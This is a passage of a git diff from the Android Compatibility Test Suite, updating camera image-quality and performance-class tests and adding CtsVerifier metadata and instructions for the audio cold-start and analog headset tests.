-rw-r--r--tools/cts-tradefed/res/config/cts-known-failures.xml4
-rw-r--r--tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml2
311 files changed, 6855 insertions, 2737 deletions
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index d488a6fa5af..1c105627837 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -32,8 +32,8 @@ SCROLLER_TIMEOUT_MS = 3000
VALID_NUM_DEVICES = (1, 2)
NOT_YET_MANDATED_ALL = 100
-# Not yet mandated tests ['test', first_api_level mandatory]
-# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30
+# Not yet mandated tests ['test', first_api_level not yet mandatory]
+# ie. ['test_test_patterns', 30] is MANDATED for first_api_level > 30
NOT_YET_MANDATED = {
'scene0': [['test_test_patterns', 30],
['test_tonemap_curve', 30]],
@@ -210,10 +210,10 @@ class ItsBaseTest(base_test.BaseTestClass):
# Determine which test are not yet mandated for first api level.
tests = NOT_YET_MANDATED[scene]
- for [test, first_api_level_mandated] in tests:
- logging.debug('First API level %s MANDATED: %d',
- test, first_api_level_mandated)
- if first_api_level < first_api_level_mandated:
+ for [test, first_api_level_not_mandated] in tests:
+ logging.debug('First API level %s NOT MANDATED: %d',
+ test, first_api_level_not_mandated)
+ if first_api_level <= first_api_level_not_mandated:
not_yet_mandated[scene].append(test)
return not_yet_mandated
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index e3336a6b48c..0c352307656 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -88,6 +88,11 @@ def check_solid_color(img, exp_values, color):
'RGB means: %s, expected: %s, ATOL: %d',
color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
test_fail = True
+ if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+ logging.error('Image has too much variance for color %s. '
+ 'RGB variances: %s, ATOL: %d',
+ color, str(rgb_vars), _CH_VARIANCE_ATOL)
+ test_fail = True
else:
exp_values_mask = np.array(exp_values)//255
primary = max(rgb_means*exp_values_mask)
@@ -101,14 +106,18 @@ def check_solid_color(img, exp_values, color):
logging.error('Secondary colors too bright in %s. '
'RGB means: %s, expected: %s, MAX: %d',
color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
- test_fail = True
-
- if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
- logging.error('Image has too much variance for color %s. '
- 'RGB variances: %s, ATOL: %d',
- color, str(rgb_vars), _CH_VARIANCE_ATOL)
- test_fail = True
+ primary_rgb_vars = max(rgb_vars*exp_values_mask)
+ secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars)
+ if primary_rgb_vars > _CH_VARIANCE_ATOL:
+ logging.error('Image primary color has too much variance for %s. '
+ 'RGB variances: %s, ATOL: %d',
+ color, str(rgb_vars), _CH_VARIANCE_ATOL)
+ test_fail = True
+ elif secondary_rgb_vars > _CH_VARIANCE_ATOL:
+ logging.error('Image secondary color has too much variance for %s. '
+ 'RGB variances: %s, ATOL: %d',
+ color, str(rgb_vars), _CH_VARIANCE_ATOL)
return test_fail
diff --git a/apps/CameraITS/tests/scene0/test_tonemap_curve.py b/apps/CameraITS/tests/scene0/test_tonemap_curve.py
index 5395da24d88..48c95a37b52 100644
--- a/apps/CameraITS/tests/scene0/test_tonemap_curve.py
+++ b/apps/CameraITS/tests/scene0/test_tonemap_curve.py
@@ -50,6 +50,39 @@ H_NORM = 1.0
LINEAR_TONEMAP = sum([[i/63.0, i/126.0] for i in range(64)], [])
+def get_yuv_patch_coordinates(num, w_orig, w_crop):
+ """Returns the normalized x co-ordinate for the title.
+
+ Args:
+ num: int; position on color in the color bar.
+ w_orig: float; original RAW image W
+ w_crop: float; cropped RAW image W
+
+ Returns:
+ normalized x, w values for color patch.
+ """
+ if w_crop == w_orig: # uncropped image
+ x_norm = num / N_BARS + DELTA
+ w_norm = 1 / N_BARS - 2 * DELTA
+ logging.debug('x_norm: %.5f, w_norm: %.5f', x_norm, w_norm)
+ elif w_crop < w_orig: # adject patch width to match vertical RAW crop
+ w_delta_edge = (w_orig - w_crop) / 2
+ w_bar_orig = w_orig / N_BARS
+ if num == 0: # left-most bar
+ x_norm = DELTA
+ w_norm = (w_bar_orig - w_delta_edge) / w_crop - 2 * DELTA
+ elif num == N_BARS: # right-most bar
+ x_norm = (w_bar_orig*num - w_delta_edge)/w_crop + DELTA
+ w_norm = (w_bar_orig - w_delta_edge) / w_crop - 2 * DELTA
+ else: # middle bars
+ x_norm = (w_bar_orig * num - w_delta_edge) / w_crop + DELTA
+ w_norm = w_bar_orig / w_crop - 2 * DELTA
+ logging.debug('x_norm: %.5f, w_norm: %.5f (crop-corrected)', x_norm, w_norm)
+ else:
+ raise AssertionError('Cropped image is larger than original!')
+ return x_norm, w_norm
+
+
def get_x_norm(num):
"""Returns the normalized x co-ordinate for the title.
@@ -89,7 +122,7 @@ def check_raw_pattern(img_raw):
raise AssertionError('RAW COLOR_BARS test pattern does not have all colors')
-def check_yuv_vs_raw(img_raw, img_yuv):
+def check_yuv_vs_raw(img_raw, img_yuv, name, debug):
"""Checks for YUV vs RAW match in 8 patches.
Check for correct values and color consistency
@@ -97,17 +130,45 @@ def check_yuv_vs_raw(img_raw, img_yuv):
Args:
img_raw: RAW image
img_yuv: YUV image
+ name: string for test name with path
+ debug: boolean to log additional information
"""
logging.debug('Checking YUV/RAW match')
+ raw_w = img_raw.shape[1]
+ raw_h = img_raw.shape[0]
+ raw_aspect_ratio = raw_w/raw_h
+ yuv_aspect_ratio = YUV_W/YUV_H
+ logging.debug('raw_img: W, H, AR: %d, %d, %.3f',
+ raw_w, raw_h, raw_aspect_ratio)
+
+ # Crop RAW to match YUV 4:3 format
+ raw_w_cropped = raw_w
+ if raw_aspect_ratio > yuv_aspect_ratio: # vertical crop sensor
+ logging.debug('Cropping RAW to match YUV aspect ratio.')
+ w_norm_raw = yuv_aspect_ratio / raw_aspect_ratio
+ x_norm_raw = (1 - w_norm_raw) / 2
+ img_raw = image_processing_utils.get_image_patch(
+ img_raw, x_norm_raw, 0, w_norm_raw, 1)
+ raw_w_cropped = img_raw.shape[1]
+ logging.debug('New RAW W, H: %d, %d', raw_w_cropped, img_raw.shape[0])
+ image_processing_utils.write_image(
+ img_raw, f'{name}_raw_cropped_COLOR_BARS.jpg', True)
+
+ # Compare YUV and RAW color patches
color_match_errs = []
color_variance_errs = []
for n in range(N_BARS):
- x_norm = get_x_norm(n)
+ x_norm, w_norm = get_yuv_patch_coordinates(n, raw_w, raw_w_cropped)
logging.debug('x_norm: %.3f', x_norm)
raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM,
- W_NORM, H_NORM)
+ w_norm, H_NORM)
yuv_patch = image_processing_utils.get_image_patch(img_yuv, x_norm, Y_NORM,
- W_NORM, H_NORM)
+ w_norm, H_NORM)
+ if debug:
+ image_processing_utils.write_image(
+ raw_patch, f'{name}_raw_patch_{n}.jpg', True)
+ image_processing_utils.write_image(
+ yuv_patch, f'{name}_yuv_patch_{n}.jpg', True)
raw_means = np.array(image_processing_utils.compute_image_means(raw_patch))
raw_vars = np.array(
image_processing_utils.compute_image_variances(raw_patch))
@@ -117,10 +178,10 @@ def check_yuv_vs_raw(img_raw, img_yuv):
image_processing_utils.compute_image_variances(yuv_patch))
if not np.allclose(raw_means, yuv_means, atol=RGB_MEAN_TOL):
color_match_errs.append(
- 'RAW: %s, RGB(norm): %s, ATOL: %.2f' %
+ 'means RAW: %s, RGB(norm): %s, ATOL: %.2f' %
(str(raw_means), str(np.round(yuv_means, 3)), RGB_MEAN_TOL))
if not np.allclose(raw_vars, yuv_vars, atol=RGB_VAR_TOL):
- color_variance_errs.append('RAW: %s, RGB: %s, ATOL: %.4f' %
+ color_variance_errs.append('variances RAW: %s, RGB: %s, ATOL: %.4f' %
(str(raw_vars), str(yuv_vars), RGB_VAR_TOL))
# Print all errors before assertion
@@ -136,13 +197,14 @@ def check_yuv_vs_raw(img_raw, img_yuv):
raise AssertionError('Color variance errors. See test_log.DEBUG')
-def test_tonemap_curve_impl(name, cam, props):
+def test_tonemap_curve_impl(name, cam, props, debug):
"""Test tonemap curve with sensor test pattern.
Args:
name: Path to save the captured image.
cam: An open device session.
props: Properties of cam.
+ debug: boolean for debug mode
"""
avail_patterns = props['android.sensor.availableTestPatternModes']
@@ -161,7 +223,9 @@ def test_tonemap_curve_impl(name, cam, props):
# Save RAW pattern
image_processing_utils.write_image(
- img_raw, '%s_raw_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
+ img_raw, f'{name}_raw_COLOR_BARS.jpg', True)
+
+ # Check pattern for correctness
check_raw_pattern(img_raw)
# YUV image
@@ -181,10 +245,10 @@ def test_tonemap_curve_impl(name, cam, props):
# Save YUV pattern
image_processing_utils.write_image(
- img_yuv, '%s_yuv_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
+ img_yuv, f'{name}_yuv_COLOR_BARS.jpg', True)
# Check pattern for correctness
- check_yuv_vs_raw(img_raw, img_yuv)
+ check_yuv_vs_raw(img_raw, img_yuv, name, debug)
class TonemapCurveTest(its_base_test.ItsBaseTest):
@@ -208,7 +272,7 @@ class TonemapCurveTest(its_base_test.ItsBaseTest):
camera_properties_utils.manual_post_proc(props) and
camera_properties_utils.color_bars_test_pattern(props))
- test_tonemap_curve_impl(name, cam, props)
+ test_tonemap_curve_impl(name, cam, props, self.debug_mode)
if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
index 148d8637996..77e35edfa07 100644
--- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py
+++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
@@ -17,14 +17,13 @@
import logging
import os.path
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
import camera_properties_utils
import capture_request_utils
import image_processing_utils
+import its_base_test
import its_session_utils
+from mobly import test_runner
+import numpy as np
import target_exposure_utils
# 5 regions specified in normalized (x, y, w, h) coords.
@@ -64,7 +63,7 @@ class CropRegionsTest(its_base_test.ItsBaseTest):
ax, ay = a['left'], a['top']
aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
e, s = target_exposure_utils.get_target_exposure_combos(
- props, cam)['minSensitivity']
+ log_path, cam)['minSensitivity']
logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah)
# Uses a 2x digital zoom.
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index e6667637906..c19b6f7ab72 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -22,6 +22,7 @@ import camera_properties_utils
import its_base_test
import its_session_utils
+CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD = 600 # ms
CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 500 # ms
@@ -40,8 +41,8 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
device_id=self.dut.serial,
camera_id=self.camera_id) as cam:
- camera_properties_utils.skip_unless(
- cam.is_performance_class_primary_camera())
+ perf_class_level = cam.get_performance_class_level()
+ camera_properties_utils.skip_unless(perf_class_level >= 11)
# Load chart for scene.
props = cam.get_camera_properties()
@@ -55,9 +56,14 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id)
launch_ms = cam.measure_camera_launch_ms()
- if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
+ if perf_class_level >= 12:
+ perf_class_threshold = CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD
+ else:
+ perf_class_threshold = CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD
+
+ if launch_ms >= perf_class_threshold:
raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
- f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
+ f'{perf_class_threshold} ms')
else:
logging.debug('camera launch time: %.1f ms', launch_ms)
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index ba4867bd0f7..74aefd5136e 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,7 +22,7 @@ import camera_properties_utils
import its_base_test
import its_session_utils
-JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms
+JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms
class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
@@ -41,7 +41,7 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id) as cam:
camera_properties_utils.skip_unless(
- cam.is_performance_class_primary_camera())
+ cam.get_performance_class_level() >= 11)
# Load chart for scene.
props = cam.get_camera_properties()
@@ -55,10 +55,10 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id)
jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
- if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
+ if jpeg_capture_ms >= JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD:
raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
f'THRESH: '
- f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
+ f'{JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD} ms')
else:
logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 657f20c206d..1a43788141b 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -216,7 +216,15 @@ def _find_raw_fov_reference(cam, req, props, log_path):
fd = float(cap_raw['metadata']['android.lens.focalLength'])
k = camera_properties_utils.get_intrinsic_calibration(props, True, fd)
opencv_dist = camera_properties_utils.get_distortion_matrix(props)
- img_raw = cv2.undistort(img_raw, k, opencv_dist)
+ k_new = cv2.getOptimalNewCameraMatrix(
+ k, opencv_dist, (img_raw.shape[1], img_raw.shape[0]), 0)[0]
+ scale = max(k_new[0][0] / k[0][0], k_new[1][1] / k[1][1])
+ if scale > 1:
+ k_new[0][0] = k[0][0] * scale
+ k_new[1][1] = k[1][1] * scale
+ img_raw = cv2.undistort(img_raw, k, opencv_dist, None, k_new)
+ else:
+ img_raw = cv2.undistort(img_raw, k, opencv_dist)
# Get image size.
size_raw = img_raw.shape
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
index 117ba2132a8..dcdf731e468 100644
--- a/apps/CameraITS/utils/camera_properties_utils.py
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -737,7 +737,7 @@ def post_raw_sensitivity_boost(props):
Boolean. True if android.control.postRawSensitivityBoost is supported.
"""
return (
- 'android.control.postRawSensitivityBoostRange' in props.keys() and
+ 'android.control.postRawSensitivityBoostRange' in props['camera.characteristics.keys'] and
props.get('android.control.postRawSensitivityBoostRange') != [100, 100])
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index c041e240a64..23432f1fcc8 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -23,14 +23,13 @@ import random
import sys
import unittest
+import capture_request_utils
+import cv2
+import error_util
import numpy
from PIL import Image
-import cv2
-import capture_request_utils
-import error_util
-
# The matrix is from JFIF spec
DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402],
[1.000, -0.344, -0.714],
@@ -347,6 +346,40 @@ def convert_capture_to_planes(cap, props=None):
raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
+def downscale_image(img, f):
+ """Shrink an image by a given integer factor.
+
+ This function computes output pixel values by averaging over rectangular
+ regions of the input image; it doesn't skip or sample pixels, and all input
+ image pixels are evenly weighted.
+
+ If the downscaling factor doesn't cleanly divide the width and/or height,
+ then the remaining pixels on the right or bottom edge are discarded prior
+ to the downscaling.
+
+ Args:
+ img: The input image as an ndarray.
+ f: The downscaling factor, which should be an integer.
+
+ Returns:
+ The new (downscaled) image, as an ndarray.
+ """
+ h, w, chans = img.shape
+ f = int(f)
+ assert f >= 1
+ h = (h//f)*f
+ w = (w//f)*f
+ img = img[0:h:, 0:w:, ::]
+ chs = []
+ for i in range(chans):
+ ch = img.reshape(h*w*chans)[i::chans].reshape(h, w)
+ ch = ch.reshape(h, w//f, f).mean(2).reshape(h, w//f)
+ ch = ch.T.reshape(w//f, h//f, f).mean(2).T.reshape(h//f, w//f)
+ chs.append(ch.reshape(h*w//(f*f)))
+ img = numpy.vstack(chs).T.reshape(h//f, w//f, chans)
+ return img
+
+
def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
cap_res):
"""Convert a Bayer raw-16 image to an RGB image.
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4c4738867bf..3289b910210 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -1093,25 +1093,24 @@ class ItsSession(object):
' support')
return data['strValue'] == 'true'
- def is_performance_class_primary_camera(self):
+ def get_performance_class_level(self):
"""Query whether the camera device is an R or S performance class primary camera.
A primary rear/front facing camera is a camera device with the lowest
camera Id for that facing.
Returns:
- Boolean
+ Performance class level in integer. R: 11. S: 12.
"""
cmd = {}
- cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
+ cmd['cmdName'] = 'getPerformanceClassLevel'
cmd['cameraId'] = self._camera_id
self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
data, _ = self.__read_response_from_socket()
- if data['tag'] != 'performanceClassPrimaryCamera':
- raise error_util.CameraItsError('Failed to query performance class '
- 'primary camera')
- return data['strValue'] == 'true'
+ if data['tag'] != 'performanceClassLevel':
+ raise error_util.CameraItsError('Failed to query performance class level')
+ return int(data['strValue'])
def measure_camera_launch_ms(self):
"""Measure camera launch latency in millisecond, from open to first frame.
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 69bad61e991..6cc692b4258 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -557,29 +557,17 @@ def get_angle(input_img):
class Cv2ImageProcessingUtilsTests(unittest.TestCase):
"""Unit tests for this module."""
- def test_get_angle_identify_unrotated_chessboard_angle(self):
- normal_img_path = os.path.join(
- TEST_IMG_DIR, 'rotated_chessboards/normal.jpg')
- wide_img_path = os.path.join(
- TEST_IMG_DIR, 'rotated_chessboards/wide.jpg')
- normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
- wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
- normal_angle = get_angle(normal_img)
- wide_angle = get_angle(wide_img)
- e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}'
- self.assertEqual(get_angle(normal_img), 0, e_msg)
- self.assertEqual(get_angle(wide_img), 0, e_msg)
-
def test_get_angle_identify_rotated_chessboard_angle(self):
# Array of the image files and angles containing rotated chessboards.
test_cases = [
- ('_15_ccw', 15),
- ('_30_ccw', 30),
- ('_45_ccw', 45),
- ('_60_ccw', 60),
- ('_75_ccw', 75),
- ('_90_ccw', 90)
+ ('', 0),
+ ('_15_ccw', -15),
+ ('_30_ccw', -30),
+ ('_45_ccw', -45),
+ ('_60_ccw', -60),
+ ('_75_ccw', -75),
]
+ test_fails = ''
# For each rotated image pair (normal, wide), check angle against expected.
for suffix, angle in test_cases:
@@ -594,13 +582,21 @@ class Cv2ImageProcessingUtilsTests(unittest.TestCase):
wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
# Assert angle as expected.
- normal_angle = get_angle(normal_img)
- wide_angle = get_angle(wide_img)
- e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}'
- self.assertTrue(
- numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg)
- self.assertTrue(
- numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg)
+ normal = get_angle(normal_img)
+ wide = get_angle(wide_img)
+ valid_angles = (angle, angle+90) # try both angle & +90 due to squares
+ e_msg = (f'\n Rotation angle test failed: {angle}, extracted normal: '
+ f'{normal:.2f}, wide: {wide:.2f}, valid_angles: {valid_angles}')
+ matched_angles = False
+ for a in valid_angles:
+ if (math.isclose(normal, a, abs_tol=ANGLE_CHECK_TOL) and
+ math.isclose(wide, a, abs_tol=ANGLE_CHECK_TOL)):
+ matched_angles = True
+
+ if not matched_angles:
+ test_fails += e_msg
+
+ self.assertEqual(len(test_fails), 0, test_fails)
if __name__ == '__main__':
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 9855e6d3c3c..bf85caef002 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -197,7 +197,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_other" />
- <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television" />
<meta-data android:name="display_mode" android:value="multi_display_mode" />
</activity>
@@ -4883,7 +4883,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.watch:android.hardware.type.television" />
+ android:value="android.hardware.type.watch:android.hardware.type.television:android.hardware.type.automotive" />
<meta-data android:name="display_mode" android:value="multi_display_mode" />
</activity>
@@ -5474,6 +5474,15 @@
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
+ <meta-data
+ android:name="test_category"
+ android:value="@string/test_category_telecom"/>
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
</activity>
diff --git a/apps/CtsVerifier/res/layout/audio_coldstart_common.xml b/apps/CtsVerifier/res/layout/audio_coldstart_common.xml
index 3eaa55d2107..2255ca758a7 100644
--- a/apps/CtsVerifier/res/layout/audio_coldstart_common.xml
+++ b/apps/CtsVerifier/res/layout/audio_coldstart_common.xml
@@ -58,4 +58,9 @@
android:layout_height="wrap_content"
android:id="@+id/coldstart_coldLatencyTxt" />
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:id="@+id/coldstart_coldResultsTxt" />
+
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
index 005c5e6b547..24767d2b72d 100644
--- a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
@@ -33,7 +33,8 @@
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:text="@string/analog_headset_query"/>
+ android:text="@string/analog_headset_query"
+ android:id="@+id/analog_headset_query"/>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
@@ -56,11 +57,11 @@
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:id="@+id/headset_analog_name"/>
+ android:id="@+id/headset_analog_plug_message"/>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:id="@+id/headset_analog_plug_message"/>
+ android:id="@+id/headset_analog_name"/>
<!-- Player Controls -->
<LinearLayout
@@ -90,7 +91,7 @@
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:text="@string/analog_headset_success_question"/>
+ android:id="@+id/analog_headset_playback_status"/>
<LinearLayout
android:layout_width="match_parent"
@@ -118,6 +119,10 @@
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
+ android:id="@+id/analog_headset_keycodes_prompt"/>
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
android:text="@string/analog_headset_keycodes_label"/>
<LinearLayout
android:layout_width="match_parent"
@@ -144,6 +149,14 @@
android:id="@+id/headset_keycode_volume_down"/>
</LinearLayout>
</LinearLayout>
+
+ <!-- Results -->
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:id="@+id/headset_results"
+ android:textSize="20dp"/>
+
<include layout="@layout/pass_fail_buttons" />
</LinearLayout> \ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0001977d52b..95a1ef2d55d 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -876,7 +876,8 @@
<string name="ibo_test">Ignore Battery Optimizations Test</string>
<string name="ibo_test_info">
This test verifies that the device provides a user affordance to ask the user if the system
- should disable battery optimizations for an app.
+ should disable battery optimizations for an app and to allow a user to remove the app from
+ the exemption list.
</string>
<string name="ibo_test_start_unexempt_app">
Remove the test app from the ignore battery optimizations list to begin the test. (Try going
@@ -888,8 +889,9 @@
<string name="ibo_next_to_confirm">Press next to confirm.</string>
<string name="ibo_app_not_exempted">The app is not exempted from battery optimizations.</string>
<string name="ibo_unexempt_app">
- Remove the test app from the ignore battery optimizations list. (Try going
- to the App Info page and make sure the system is optimizing battery for the app.)
+ Remove the test app from the ignore battery optimizations list. (Either run \"adb shell cmd
+ deviceidle whitelist -com.android.cts.verifier\" or open the list of apps and their
+ exemption statuses. Find the test app in the list and remove the app\'s exemption.)
</string>
<string name="ibo_app_is_exempted">The app is exempted from battery optimizations.</string>
<string name="ibo_exempt_app_list">
@@ -5114,11 +5116,34 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="audio_coldstart_in_latency_test">Audio Cold Start Input Latency Test</string>
<string name="audio_coldstart_output_info">
- This test measures the time required to output audio from a suspended \"cold\" audio system.
- It requires that touch-sounds be disabled in the device \"Sound &amp; Vibration\" settings
+ This test measures the time required to play audio from a suspended \"cold\" audio system.
+ This time is defined as the \"cold start latency\". To pass this test, a maximum
+ cold start latency time of 500ms or less is REQUIRED, while a time of 100ms or less
+ is STRONGLY RECOMMENDED. (See <a href="https://source.android.com/compatibility/android-cdd#5_6_audio_latency">Android CDD § 5.6. Audio Latency</a>)
+ \n\nTo run this test, it is required to have touch-sounds disabled in the device
+ \"Sound &amp; Vibration\" settings
panel.
+ \n\nThe \"Java API\" and \"Native API\" allow for capturing performance data from the
+ two streaming APIs. The cold start latency measurement need only pass for one API.
+ The Native API generally gives the best performance.
+ \n\nAlthough not part of the pass criteria, the test will also report \"open\" &amp;
+ \"start\" times. Open time is the time taken to allocate and prepare the player for the
+ specified stream attributes. Start time is the time taken to start playing audio on an
+ open stream.
+ </string>
+ <string name="audio_coldstart_input_info">
+ This test measures the time required to record audio from a suspended \"cold\" audio system.
+ This time is defined as the \"cold start latency\". To pass this test, a maximum
+ cold start latency time of 500ms or less is REQUIRED, while a time of 100ms or less
+ is STRONGLY RECOMMENDED. (See <a href="https://source.android.com/compatibility/android-cdd#5_6_audio_latency">Android CDD § 5.6. Audio Latency</a>)
+ \n\nThe \"Java API\" and \"Native API\" allow for capturing performance data from the
+ two streaming APIs. The cold start latency measurement need only pass for one API.
+ The Native API generally gives the best performance.
+ \n\nAlthough not part of the pass criteria, the test will also report \"open\" &amp;
+ \"start\" times. Open time is the time taken to allocate and prepare the recorder for the
+ specified stream attributes. Start time is the time taken to start recording audio on an
+ open stream.
</string>
- <string name="audio_coldstart_input_info">Info Here</string>
<string name="audio_coldstart_outputlbl">Output Cold Start Latency</string>
<string name="audio_coldstart_inputlbl">Input Cold Start Latency</string>
<string name="audio_coldstart_touchsounds_message">
@@ -5246,18 +5271,34 @@ Follow the instructions on the screen to measure the frequency response for the
<string name="analog_headset_query">Does this Android device have an analog headset jack?</string>
<string name="analog_headset_play">Play</string>
<string name="analog_headset_stop">Stop</string>
- <string name="analog_headset_success_question">Was the audio correctly played through the headset/headphones?</string>
- <string name="analog_headset_keycodes_label">Headset Keycodes</string>
+ <string name="analog_headset_playback_prompt">Play a test tone and verify correct playback</string>
+ <string name="analog_headset_playback_query">Was the audio correctly played through the headset?</string>
+ <string name="analog_headset_keycodes_label">Headset key codes</string>
<string name="analog_headset_headsethook">HEADSETHOOK</string>
<string name="analog_headset_volup">VOLUME_UP</string>
<string name="analog_headset_voldown">VOLUME_DOWN</string>
<string name="analog_headset_test">Analog Headset Test</string>
- <string name="analog_headset_test_info">
- This test tests the following functionality with respect to wired analog headset/headphones.\n
